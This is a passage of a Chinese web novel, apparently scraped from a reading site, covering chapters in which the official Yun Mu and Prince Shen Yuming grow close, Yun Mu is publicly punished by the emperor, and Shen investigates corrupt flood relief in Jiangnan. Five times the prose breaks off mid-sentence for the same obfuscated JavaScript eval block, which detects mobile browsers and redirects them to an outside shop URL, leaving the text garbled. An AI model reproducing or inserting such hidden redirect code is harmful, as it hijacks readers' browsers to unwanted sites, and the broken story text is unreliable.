前几日,云暮把十五送到王府后,沈聿明就再也没见过她,想到方才听到的闲话,他掀开车帘,一眼就认出了人。 见她穿着常服,沈聿明疑惑道:“今儿不是休沐,你怎么不去上值?” 云暮神色恹恹:“不想去。” 两手交握的瞬间,沈聿明觉得她的手心烫得惊人,把人拉上马车后,他没有松手,反而得寸进尺地圈住云暮的手腕,“手这样烫,你又发热了?文竹,改道去医馆。” 昨夜喝了一壶冷酒,酒量差得离奇的她醉醺醺地在浴桶泡到了早上,出门前,她囫囵吃了几颗药,在城中四处闲逛却不肯进宫。 她的头无力地靠在车壁,眼却直勾勾地看着沈聿明,“再去医馆,你可就晚了,到时俸禄被扣可怪不得我。” “你都不怕,我又有何惧?” 沈聿明试探性地碰了碰她的手背,见她没有拒绝,也没有再进一步,反而是问了一句∶“可以吗?” 云暮没有说话,眼神不离人,手心却慢慢覆上他的手背,在沈聿明错愕的间隙,十指相扣。 沈聿明动了动手指,感受着掌心下那只软热还带着薄茧的手,在人潮汹涌的街道,他听见了胸膛内如雷般的心跳声。 虽是存心引诱,云暮还是不自在地甩了甩手,却被他握得更紧,“我吃过药了,不去医馆,也不想上值。” “真是稀奇,前几日忙得要见你一面都难,今日是转性了?既然哪都不想去,不如随我去城外散散心?” 说完,他觑着云暮的脸色,忐忑问道∶“昨夜,云府……” 云暮蓦然抽回手,车内的温情就此打破。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632431|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈聿明茫然地看着空荡荡的手心,又看了看云暮的冷脸,急忙解释:“我不是那个意思,只是想告诉你,你若不想住在云府,可搬来王府,王府一直给你留着一个院子。” 误会了他,云暮紧抿双唇,却不知如何开口。 沈聿明叫停了马车,原想一人一骑,但考虑到云暮发着热,不能在受风,于是把文竹赶了下去,他亲自驱马前行。 他驾马车的技术很好,再经过小路时,也丝毫不见颠簸,云暮别扭开口:“堂堂王爷,竟要亲自驾马车,被人瞧见了,还当你落魄了呢。” “可不就是,今儿旷职,为数不多的俸禄都要扣完了,到时还请云大人赏在下一口饭吃。” 云暮眨了眨眼,“少不了你的饭。” “你要带我去何处?” 沈聿明神秘一笑,“等会儿你就知道了。” 不知过了多久,马车终于停下,云暮把手搭在沈聿明的手上,毫不费力地下了马车,但对方紧紧扣着手不放,她低声道:“沈聿明, 你松手,等会儿被人看见了。” 少见她如临大敌的模样,沈聿明生出了逗弄的心思,把人往怀里带了带:“怕什么。” 云暮往周围看了几眼,右手捏着他的手腕,昨夜伤到的手指被刺痛,她想了想,加重了力道,口中也泄出了一声轻嘶。 沈聿明忙松开手,看见手腕上的那抹鲜红时,他翻过云暮的掌心,看着上面大大小小的伤痕,浑身的力量仿佛被抽干,双唇翕动了几下,最后只是问了一句:“是不是很疼?” 他从袖口拿出一张白色的帕子,把血珠擦拭干净,“你在这里等我。” 碾碎的草药被人认真地敷在伤口处,几张帕子严严实实包住,云暮心尖微颤,喉头一松,脱口唤了一声:“沈聿明。” “弄疼你了?” 躬身垂头的沈聿明往她的手心轻吹了一口气,“今儿出门没带伤药,回去了再给你重新上回药。” 云暮的左手抚上他的侧脸,“沈聿明,和我讲讲我们认识的经过吧。” 第八十二章 聊赠一枝春 沈聿明的呼吸一顿,“你真的什么都记不起来了?” 云暮解释道:“那年出宫后我病了一场,病愈后便再也记不起那几日发生的事,也没再进过宫了。” 沈聿明心道难怪,自那天起,直到逃出宫,他都没再见过云暮。 在他的娓娓道来中,云暮跟着他拐进了一条僻静狭小的山路,顺着小径深入,鸟鸣声此起彼伏,树下零星野花竞相开放。 她深吸了一口山间湿润的气息,将今日任性的下场抛之脑后。 七拐八弯过后,视野突然变得开阔,陡而险断崖下,是一大片迎春花。 嫩黄色的花朵缀在伸展有致的枝丫上,微风吹过,淡绿色的叶影间,阵阵清香拂过人面。 “你怎么知道这个地方?” 沈聿明指着不远处的一个村落,“从前我和姑姑住在那里,当时身无分文,只能来山上摘些野果野菜果腹,若运气好,还能遇见山鸡。” “其他时候倒还好,就是冬天格外难捱,摞在房后的柴火总是会被人抽走大半,如今想想,能活下来真是命大。” 云暮不擅安慰他人,只能拍了拍他的肩,“都过去了。” 沈聿明拍了拍一块还称得上干净的石头,拉着云暮一同坐下,两人肩膀挨着肩膀,彼此交换着身上的热意。 嘴上胡天海地地说着话,身旁是熟识之人,云暮倚着身后的树干,昏昏欲睡。 沈聿明手上的动作不停,还不时偏头看一眼云暮,虽然有许多话想问,但他不敢。她好不容易才肯迈出一步,若再说错话,他怕是没有再重来的机会了。 如变戏法般,一个雅致的花篮出现在沈聿明的书手中,他把花篮举到面前左右查看,再次从旁边揪下几朵野花簪在把手上才堪堪满意。 做完一切,他又脱下外袍盖在她身上,侧身看着她的睡颜。 被雪松味的外袍盖住的一瞬间,云暮就已经醒了,但她想看看沈聿明会做什么,一时没有动作。 在刻意等待下,时间被缓慢拉长好似才过几息,又好似已经过了好几个时辰,被人直勾勾地盯着,云暮如芒在背,她眼皮微动,缓缓睁开双眼。 “醒了?” 云暮嗯了一声,将身上的衣袍递给他,“什么时辰了,是不是该回去了?” “不急,先给你看样东西。” 他把花篮捧到云暮面前:“山中无所有,聊赠一枝春。” 云暮挑眉,把花篮里里外外都看了个遍,爱不释手:“王爷,你还有这等手艺呢?” 沈聿明骄傲地哼哼两声:“你不知道的还多着呢,往后一一让你开眼。” 他率先起身,朝云暮伸出手:“走吧,再带你去别处逛逛,京郊的好风光不止这一处。” 直至太阳西下,两人才意犹未尽回城,谢绝了去王府小住的提议,云暮踏进了云府的大门。 见云暮这般开心,安叔有些为难,他不想告知此事,但又不得不说。 云暮把花篮摆在书房,“安叔,说吧,什么事?” “皇上今儿派了黄公公来寻您。” 云暮冷漠地哦了一声:“你怎么说的?” “老奴道您受了风寒,不便见客,没多久,宫里又送来了赏赐,东西已经全部收进库房了。” 打一个巴掌,再给一颗甜枣,他惯会做这些事,“把东西都丢出去。” “这……御赐之物如何能丢?” 云暮幽幽地说道:“带有皇家印记的东西丢不得,那就丢那些没印记的。” 安叔不敢再言,忙带人照着吩咐做事。 第二日,云暮也没去上值,她坐在废墟的主院里,咬着笔杆在纸上涂涂画画,太过入迷,没听见身后的脚步声。 “你在干嘛?” 声音从头顶传来,笔尖在纸上留下一道墨痕,云暮闭眼深吸了一口气,咬牙切齿道:“王爷!” 沈聿明举手投降:“我错了,你在做什么,我帮你?” 云暮把纸张拍在他的胸口,“这院子总不能一直这样,从前的样式我不满意,于是画了张图纸,你替我看看?” 沈聿明指着那几个黑点问道:“这是什么?” 云暮垂眸看了一眼,“机关。” “往后谁再敢乱闯我的卧房,那他就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632432|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死定了。” 小厮日夜值守,对于梁文帝从何处来的,也不得而知,他能躲过这么多人,还能躲得过一步一个机关? 云暮若有所察盯着某个方向,除了晃动的树叶,什么都没有发现。 “他在做什么?” 暗一从暗处现身,垂头道:“拿着纸笔在院里四下走,属下猜测,云大人应是想翻新院子。” “昨日呢?” 暗一沉默了片刻才道:“昨日云大人并未出门,膳食也是送到房里,到了傍晚才见人。” “往工匠里安插上我们的人,莫要让他发现端倪。” “是。” 梁文帝摆摆手,书房又只剩他一人,奏折摞了三尺高,他还是无心批阅。 …… 连着四五日不告假,不上值,云暮终于在休沐后露了脸。这段时日弹劾她的人只多不少,但她没有丝毫慌乱。 梁文帝把事做得太过,心中有愧,只会压下那些奏折,只是她再不出现,圣旨就要下到云府了。 再次见面,梁文帝跟没事人似的,又准她上朝听政,云暮却是恶心得不行。 早朝上,有人不知死活地撞了上来,“云大人作为金吾卫上将军,却玩忽职守,若是城中发生暴乱,或是有刺客进宫,云大人万死难辞其咎。” 不见还嘴,他们当他心虚,愈说愈激动。这些话都问到了梁文帝的心坎上,他也想听听云暮如何答,便没有制止。 云暮冷冷转身:“说完了吗?” 而后劈头盖脸地把人都骂了一顿,还抖出了不少私事。 “陈大人,前年你想要城中一处地段好的宅子,于是夜夜派人往后院里抛死物,往人门上泼狗血,给宅子扣上不详的名头,后来只花了一百两就买到了。” “黄大人,去岁……” 一番话,把人说得哑口无言,那几位欲触柱威胁,但云暮不吃他们这一套,她讥讽道:“今儿你们谁不撞死在金銮殿,谁就是本将军的孙子。” 见几人停住脚,云暮摁着他们的后脖颈往柱上撞去。 梁文帝终于开口:“云卿,玩够了吗?” 第八十三章 被罚 勤政殿,云暮几次避开梁文帝想圈她手腕的动作后,把人惹恼了。 “你一声不吭就消失,弹劾你的奏折有三尺高,朕都压了下来,你殿前戏耍众臣,朕也没有治你的罪,你还要如何?” 任由他如何质问,云暮依旧不语,她如今连话都不愿再同他多说一句。 梁文帝指尖轻颤:“来人!” “云暮行事狂悖,殿前戏弄群臣,赐他枷项加身,于神武门前罚站一日。” 说完,他死死盯着眼前人。 云暮知晓,只要她服个软,说句好话,这惩罚就能立马消去,但她只是撩下衣袍,直直跪下行礼:“谢陛下赏赐。” 梁文帝将茶杯一砸:“滚出去!” 才出勤政殿,就有人提着枷项来了,云暮伸出手,那人却迟迟不动手,他低声说了一句:“云大人,你这是何苦,不若去和陛下告个罪,免了这罚。” 云暮名声不好,带这玩意在神武门前站上一日,百官、万民经过,人人唾骂,这脸以后该往哪搁? 这几日人也不见,还不容易得了恩典听政,又逼着官员去死,还同皇上有龃龉,但也只得了一个罚,凭着皇上对他的宠信,服个软不就什么事都没了?也不知他在较什么劲。 云暮不耐睨他:“要戴就戴,废话恁多。” 那人也是金吾卫之人,他收了枷项,把人往宫门口请:“云大人,请吧,这离朱雀门还有一段路,不差这点时间,到了再戴也不迟。” 云暮倒是无所谓,“走吧。” 朱雀门前,云暮掂了掂比寻常轻了大半的枷项,挑眉:“这玩意哪来的?” 那人装傻:“云大人,这自然是从库房拿的,何处还有?” 就算是枷项负身,云暮的腰肢依旧挺直,这个时间,并无太多人经过,可到了午时中,人下值的下值,归家的归家,见是云暮受罚,都恨不得踩上一脚,但又惧他权势,恐他报复,只敢啐他几口,骂上几句。 即便冯章带了人来,但百姓没有动手,他们也轰不走,后来有人奔走相告,说是城南有人送米面,这些人才暂时作罢。 被人羞辱了一整日,又水米未进,饶是枷项是空心的,云暮的手依旧麻得没了知觉。 直至天色完全暗下,摊贩吆喝声起,梁文帝才派人送来钥匙。 “云大人,奴才派辆马车送您回去。” “不用。” 拐角处走出一个黑影,正是沈聿明,他拉着云暮就往马车的方向走,要不是周围还有人在,他恨不得把人打横抱起就走。 云暮每走一步,脚底就是钻心的疼,但她依旧平稳地迈着步子。 她坐在马车里,捏着一块糕点就着热茶小口吃着。 “今日之事,多谢王爷了。” 沈聿明闷闷道:“是我无能,没能让父皇撤了罚,只能想些别的法子,但还是无用。” 云暮拍了拍身旁的空位,对面的人从善如流地坐了过来,替她捏着发酸的手腕。 她俯身凑到沈聿明面前,伸出双指抵着他的嘴角,往上提了几分:“已经很好了,若不是王爷把他们往城南引,下官指定要被人从早骂到晚。” “别臭着脸了,笑一个。” 沈聿明扯出一个难看的笑容,想把头埋进她的颈窝,又怕给人雪上加霜,只虚虚地抵着她的肩膀,就算他是父皇最宠爱的皇子,就算父皇对他有愧,就算他是仅次于太子之人,依旧不能让心上人免刑。 云暮抬手抚着他的后脑,“王爷,这便是仰人鼻息的下场,生杀予夺乃天子之权,说错句话,办错件事,砍头都是最轻松的死法。” 只有站到最高位,才能做到一切想做之事,想得之物,还有……人。 沈聿明双睫颤动,只要他争,是不是就能留住云暮? …… “不是让你送人回去?” 小太监生怕被责罚,忙道:“回禀皇上,奴才正要送云大人回去,王爷就来了,不过奴才眼瞧着云大人上了马车,想来不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632433|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有差池。” 前几日突然的旷值,今日的求情,梁文帝不得不起疑心,他对着空荡荡地勤政殿说道:“叫暗二来见朕。” 暗二此刻正蹲在一个繁茂的树上,不解地说道:“大哥,这几日云暮日日同秦王在一处,你为何瞒下?” 暗一盯着印在窗上的两道人影,“陛下找了秦王这么多年,总不能叫他们父子因一个云暮生了嫌隙吧?皇上若问你,你知道该怎么答吧?” “放心就是。” 云暮把人送走后,那种被人监视的感觉又卷土重来,她飞身上了屋顶,把府内外都看了一遍,还是没有发现异常,但她还是不放心,毕竟她的直觉一向很准。 “夜间巡得勤些。” 不时地露出几个破绽,引得她的注意,却又不被发现,云暮心里已经有了怀疑的人,解衣欲睡,却辗转反侧。 今日之刑只是梁文帝一时之恼,他还不知道沈聿明同她私交过密之事,只是那人为何不告知?梁文帝知晓他身边人生了异心吗? 往后几日,梁文帝不时借由头罚她,不是出言无状,就是办事不力。 沈聿明在大理寺急得团团转 ,但因云暮的警告,他不能再有动作,否则人权两失。 堤坝隐隐有崩溃之势。 吏部旧事重提,于朝上质问户部之责,所幸账册已平,户部逃过一劫。 云暮在江南地势图上圈出几地,“前些年,裴然还有主事们昧了不少赈灾银两,堤坝不牢,致山洪倾泻,太子不知,欲用此事扬名,谁知搬起石头砸了脚,害死了不少百姓。” 她点了点中间的的位置:“好在裴然没有蠢到家,这里的堤坝用的木材最好,还能坚持上个把月。往后一个月,还有大雨,它撑不住,如今最要紧的便是开闸泄洪。” “如今春苗长势渐佳,下游的百姓不知其中深浅,不肯轻易搬离,若是开闸泄洪,他们必死无疑。” “明日你就请旨南下治洪,把人劝离下游,开闸泄洪。” 第八十五章 南下 “父皇,儿臣自请南下。” 沈聿明坚定的声音在殿中回荡。 因他和云暮的关系,这几个月以来,梁文帝疑心病越发重,他做事诸多不便,所以即便他再不舍,也只能听云暮的,南下治洪。 只是他从未去过江南,更谈何治水,梁文帝有些许犹豫,自从太子的奏折送回京以来,朝中人讷讷不语,生怕会被派去江南。 如今好不容易有了一个出头鸟,他们当然要替沈聿明达成目的。皇子没做好,不过是挨顿不痛不痒的骂,若是他们没做好,那就是掉脑袋的事了。 第一个站出来的便是裴然,他一向不站队,但谁让他承了云暮的恩情。 “皇上,江南形势严峻,若不尽快派人前往,后果怕是不堪设想。” 有人开了头,剩下的就好办多了,就连梁文帝一手提拔上来的心腹都出声附和。 但太子党的人却道:“江南有太子殿下坐镇,秦王去了也不过是徒增麻烦。” 这话说得冒犯,裴然呛了一句:“户部给江南拨了十万两银子和十万石粮,太子殿下曾扬言,一个月内必解决江南水患,如今才过半个月,殿下又伸手管户部要十万赈灾银,这如何使得?即便国库充盈,也不能如此挥霍啊!” 那可是十万两白银!当初的堤坝建了一年,上下都打点了一遍,进他钱袋的也不过二十万两。如今太子不过去了一个小县城,竟打点了这么多。 虽说把下面的人的胃口填饱了,才好办事,但搭进去这么多钱,事还没办妥,太子还真是头一个,这没忍住多说了几句。 此话一出,太子党皆面红耳赤,羞得他们根本抬不起头。 但梁文帝有自己的顾虑,并未当场应下此事。 “方才的事,你们凑什么热闹?” 他这段时间的故意冷落,凭谁都能看出沈聿明失了帝心,那几个心腹自然也看了出来。 “皇上不喜秦王在身前,不如就派他去治水,事成皆大欢喜,若王爷没做好,您也能借着由头发落。” 此事倒是好办法,近来沈聿明同云暮交情渐深,云暮还几次为了护他,不惜冒犯天威,从前有多喜欢沈聿明,现在就有多看他不顺,让他去江南也好。 梁文帝想到暗卫曾说,云府于沈聿明如无人之境,嫉恨徒生。 “到江南后,若不知如何治水,可去寻这两人,只是说服他们有些难。” 案宗上说,他们本是一对四处游走治水患的夫妻,十余年前到了江城,山洪来前,他们劝说村民搬离,但上至官府,下至百姓,无一人信。 没过几日,山洪突发,房屋被摧,万顷良田毁于一旦,当地之人便认为他们是不祥之人,于是把人赶出了江城,二人只能离去,后来人们得知他们是百越出了名的治水夫妇后,后悔也来不及了。 后来两人有了孩子,于是决定定居江南,好巧不巧,就在药王谷附近。 沈聿明把收拾好的包裹随手一放,看也没看案宗,紧挨着榻上人坐下,牵手的动作格外自然,“先前应允你的事还未做到,此去一别,不知何时再见。” 两人在一起的时间久了,他越发不想分离。 “走之前想和你讨样东西?” 云暮往旁边挪了挪,试图拉开两人的距离,下一瞬,她被人拦腰提起,而后稳稳当当地坐在了沈聿明的腿上。 “去哪?” 沈聿明的头搭在她的肩上,呼吸喷洒在她的脖颈,激起一阵鸡皮疙瘩,云暮有些不自在地把头推开,“热。” 沈聿明弯唇笑问:“云大人,在下能否和你讨一样东西?” 手心被人轻挠了几下,她抓住作乱的手,无奈道:“你想要什么?” 沈聿明的手掌在她的细腰上轻抚,声线低沉暧昧:“什么都行?” 痒意自腰间传至全身,云暮的的腰肢软了几分,她撑着肩膀往前挪了挪,垂眸看着那个只装了几套换洗衣物的包袱:“只要我能做到。” 沈聿明托着她的脸,“云暮,看着我。” 两人四目相对,眼睛里映出彼此的身影,一个低头,一个仰头,彼此之间呼吸交缠。 云暮双眼不错地盯着沈聿明,见他闭眼凑近,双唇微张,大概猜出他想要何物,但她依旧睁着眼。 双唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632434|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相贴之时,她看见沈聿明的眼皮轻颤,仰头往后撤了撤,对方又急不可耐地摁住她的头,贴了上来。 她没忍住笑了笑,“怎么跟小狗似的?” 暧昧的气氛就此打破,沈聿明恼怒地睁开眼,不满地瞪着她。 云暮憋着笑在他嘴角碰了两下,“王爷饶命,下官知错了,不然重来一次?” 京城这么多觊觎她之人,走前他得和对方讨个名分,又怎会放过重来一次的机会,他当即捏着云暮的下巴贴了上去。 一开始只是轻轻相贴、摩挲,云暮顺着他的试探启唇,任由对方攻城略地,不时迎合几下。眼看着对方一点一点沉沦,云暮抚上他的侧脸,往下又压了几分,只是可惜经验不足,没有战术,她很快就溃不成军。 还不容易等沈聿明撤了敌,云暮才得以喘息,只听见他说了一句‘换气’,又再次进攻,手段越 发狠厉。她分心想着,得亏是夜里,若是青天白日,她还怎么出去见人? 正出神间,舌尖微微刺痛,她唔了一声,“怎么还咬人呢!” 沈聿明眯了眯眼,“你方才在想谁?” 察觉到周身围绕着危险的气息,云暮挑了挑眉:“你说我该想谁?” 沈聿明不愿去想,他把人往下拉了几分,含糊不清地说道:“不管你在想谁,从现在开始,只能想我一人。” 云暮任由他再放肆了片刻,终于捏着他的后脖颈拉开距离:“好了,明日还要上值,被人瞧出来就不好了。” 一朝开荤,沈聿明食髓知味,不依不饶地贴了上去,“好几个月见不到你,求云大人再疼草民一回。” 云暮双目瞪大,被他的不要脸惊在原地,不知过了多久,两人终于分开,互相抵着额头喘气。 双唇有些麻,不用看都知道已经肿了,云暮泄愤似地在他的下巴咬了一口:“没有下次了。” 沈聿明仰起下巴,让她咬得更方便些,“云大人,草民在你面前伏低做小了这么久,讨个名分不过分吧。是你把我从涿州带回来的,今夜又对我做了这种事,你不能始乱终弃。” 她怎么又始乱终弃了? 第八十六章 择良木栖 云暮再次被他的厚颜无耻惊住,方才恨不得把对她吞吃入腹的人到底是谁?想起方才之事,她不禁脸热,不知想到什么,猛地把人推倒在榻上,反问:“王爷这般熟练,可是对不少女子做过这种事?” 倒也不是吃味,毕竟沈聿明身边除了她就没有别的女子了。 沈聿明脸色爆红,目光游移,就是不看她。 云暮意味不明地‘嗯’了一声,伸手掐住他的双颊,“老实交代,若真有,我们的关系就此作罢,你知道的,我不喜欢用别人用过的东西。” 他们的这段关系是云暮说了算,这下沈聿明就是不想说也得说了,他磕磕绊绊地开口:“没有人,就是第一次。” 云暮的拇指在他柔软的唇上轻轻抚动,“是嘛?” 沈聿明抿了抿唇,小声又飞快地说道:“这些都是书上学的,先前皇后欲让我沉迷此道,派人给我送了不少书和美人,我看过几本,但人都打发走了,一下都没碰。” 见他举手发誓,云暮嘴角的笑意若隐若现,她俯下身,两人墨发交缠,分不出她勾住的是谁的发,像逗猫一般轻轻扫过沈聿明的下巴,在他眼神晦暗想要继续之前的事时,突然起身。 “时候不早了,我该回去了。” 沈聿明身上一空,抬腿把人勾住,顺势起身:“等我,嗯?” 这一去,没有三个月回不来,云暮也有些不舍,把他散落的头发拨到耳后,又轻轻落下一吻,“嗯,我等你。” 天色渐明,城门才开,沈聿明便率着人马南下,他回头看了一眼城门,而后头也不回地走了。 水患事急,沈聿明不敢耽搁,到了江城后,翩翩公子憔悴万分,他看着水盆里那张冒着胡茬的脸,暗自庆幸云暮没有随行。 门甫一打开,就看到太子坐在院中,绕有闲心地品茗,见了沈聿明虽还是摆出一副好兄长的模样,但定眼看,还能窥见几分嘲讽。 沈聿明大喇喇地坐下,给自己斟了杯茶,“外头饿殍遍野,皇兄好雅兴。” 太子不屑一笑:“日日白米煮粥赈灾,他们还是死了,这与本王何干?可是父皇叫你来送银两,东西呢?” 一路南下,流民不计其数,更有甚者拿着锄头在泥沙里不住地挖地,只因排不上官府发放的白粥,只能在破败不堪的房里挖着,试图找出一点能果腹的东西。 十万石粮,为何有人连米粥都喝不上?太子就没派人去查过?还是这事本就是他指使? 心里想的,沈聿明也问出了口,只见太子嗤笑出声:“皇弟,你还可真是单纯,官府之人替我等办事,若不给足了他们好处,谁为我们拼命?” 沈聿明拨茶叶的动作一顿,压着怒气说道:“但这不是皇兄你半个月花了十万两银子的理由。” 太子指着门说道:“江城穷山恶水之地,百姓野蛮不讲理,每日要派多少人去游说你可知?你又知有多少官兵被打了回来?再不把好处落到实处,去游说被殴打的就是本太子了!” 这些事确是底下之人去做,把人喂饱再做事无可厚非,沈聿明只轻飘飘地问了一句,“拿人钱财,替人办事,他们帮兄长把事办好了吗?在京中的这些时日,臣弟可是日日都听到有人弹劾皇兄呢。” 难堪被人当面指出,太子把茶盏都拂到地上,“还不是给的不够多,把银子给孤。” 一个茶盏损坏,就不成套了,沈聿明惋惜地看着地上的碎片,“父皇没批,裴尚书可不敢给皇兄银子,所以,银两没有,命也没有,皇兄不如再想些别的法子。” 把人气走后,沈聿明独自出门,官府之人都被太子收买,对他多有怠慢,同他说的那些话真假参半,他信不过,便决定出门查探。 如今山洪肆虐,城中有水的地方都被混了泥沙,浑浊不清,在路上行走之人的腹部涨得如怀了三四个月。 沈聿明看着一个和十五差不多大的小孩小心翼翼地捧起最上层的泥水,往口中灌去。 他几步走到小孩身旁,想把水打掉,但看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632435|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他干裂的嘴唇时,又止住了手。 小孩已经在这个水坑等了半天了,好不容易等到水清澈了些许,结果一个非富即贵之人还想要同他抢,于是他仰头几口把水饮尽,被呛得咳出了泪。 沈聿明轻拍着他的后背,待人缓过劲后,才问道:“为何要饮这种泥水,城中没有干净的水了吗?” 不应当啊,方才洗漱的水干净得能让他看清沧桑的脸,这些百姓怎么会沦落到这种地步? 小孩伸手把人往后一推,在干净的衣衫上留下两个黑乎乎的手印,“还不都怪你们这些官老爷!每户人家两天才分得一捧水,一人不过一口便没了,你们这些狗官不得好死!” 身后的亲信正欲上前把这个不知死活的人教训一顿,沈聿明拦下他们:“去查查是怎么回事。” 他看着周围人的模样,拐到一个无人的角落后,学着他们的样子往脸上涂着泥巴,把身上上好的宝蓝色锦缎袍子撕得破破烂烂,又往上头抹了不少泥,看着愣在原地的手下,他催促道:“愣着干嘛,同本王一道啊,记得把你们身上的气息收一收。” 这几人中,有云暮的亲信,也有镇 北侯手下的兵,从战场上下来的,周身的气势比旁人凌厉,他请旨南下前,就暗中让吕平安替他挑出一批骁勇善战之辈,但云暮不放心,还是让他多带了几人。 几人齐刷刷地喊了一声:“是,王爷。” 沈聿明一个头两个大,警告他们:“等会出去,我们就是一起去疏通河道的百姓,得想个别名。” 他假装抬头看天,“往后就叫本王沈云。” 金吾卫顺着他的目光抬头,晴空万里无云,不知他是怎么想出的这个名,但他们也不敢置喙。 “王……沈云,这里的人都不识我等,就不改了。” 沈聿明由着他们去,“走吧,混进他们。” 此刻正值饭点,这些人下工回来,要去城门领粥,他倒要看看,这十万石米到底做成了什么花样。 第八十七章 查探情况 江城,上林县。 沈聿明混进人流中,随着一起往城门口的方向走去,他幼时东躲西藏惯了,伪装成普通人倒也没什么难处。 他缀在队伍的末尾,正欲和前头的人搭话,突然被人自身后狠狠一撞,若不是前头那人抚了他一把,只怕此刻已经倒在地上了。 他站定后,看着那几个大摇大摆地走到粥棚,将手中堪比脸盆大的食盆重重放在桌上,官兵不仅习以为常,还殷切地和和他们套近乎,一勺一勺往食盆里打着粥,周围无一人敢反抗。 沈聿明闭眼深吸了一口气,换上一副好奇的神色:“大哥,他们是什么人?” 大哥诧异地打量着他,“小兄弟,你不认识他们?” 沈聿明挠了挠脸,有些犹豫,最后低声说道:“大哥,实不相瞒,小弟听说江城有活干,有饭吃,今儿才到,对这儿的情况还不了解。” 这种危急关头,江城的人排外得很,毕竟多一个人,那分到他们手上的东西就越少。好在这人也是打城外来的。 他也低声道:“这些家丁是顾家的人,每日一到布施的时间,他们拿着食盆就来了,官府怕得罪顾家,盆有多大,他们就给多少。” 沈聿明出门时曾路过顾家,两头石狮子威严地站在府门前两侧,从左到右走了差不多两盏茶的时间,可见顾家占地之广。 偌大的府邸,已经落魄到需要和平头百姓抢食的地步了? “就这么任由着他们拿走这么多粥?” 大哥叹了一声,“那有什么办法呢,也不没有人反抗过,但被他们摁着就打,空着肚子挖了大半日的水渠,还要被人打了一顿,谁还敢不满?再有人帮腔,官爷腰间的剑就要拔出来了。” “不若就当个缩头乌龟,至少还能留下一条命,喝上一口粥。” 沈聿明跟着他往前走了几步,眼睁睁地看着官兵不停地往食盆里舀米粥,食盆满得快要溢。 而后便拎起一旁的水桶,一桶一桶把里头的水往粥里倒,很快,米粥变成米水,舀到百姓碗里,不过只有寥寥几粒米。 即便是他东躲西藏那几年,最落魄的时候,啃着被冻得干硬的窝窝头尚且腹中饥饿,这些还要上工之人,不过得了一碗米水就激动万分。 他张了张唇,许久才发出声音:“不是听说太子殿下来了江城吗?顾家这般嚣张,他也不管吗?” 大哥冷笑了一声,讥讽地看了一眼府衙的方向,什么都没说,却又什么都说了。 若太子管,他们何至如此? 沈聿明心口堵得慌,从前只觉得他自己命不好,从皇帝曾经的宠妃之子沦为草寇,但比起这些人,他幸运了不止一点。 大哥突然又道:“听说又来了一个王爷,咱江城地儿不大,大人物来的倒是不少,但多半是也是个不办事的。” 排在他们两侧的亲信顿时侧目,沈聿明怕露馅,淡淡地瞥了他们一眼,又向这个大哥了解了一些情况后,见顾家的家丁端着食盆已经走了一段路,他连忙跟上,身后的大哥喊了几声,见他还是没回来,不解又有些高兴。若是后头没人,他就能多喝两口粥。 在沈聿明走后不久,其余人也纷纷走了,空了一个位置,身后的人蜂拥而上,生怕被人占了位置。 沈聿明在京城时,翻云府的围墙惯了,如今再做起这事,还是熟练得很,他隐在最高的屋顶上,看着家丁往嘴里塞了几口粥后,就把剩下的粥倒进后门的泔水桶,而后以三文银子一碗卖给那些饿着肚子的人。 只是房屋都被泥沙掩埋,哪里来得钱卖这些被混了泔水的粥? 一个家丁往地上吐了一口痰,指着地面说道:“谁把它舔干净,就赏谁一碗粥。” 一群人争先恐后地上前。 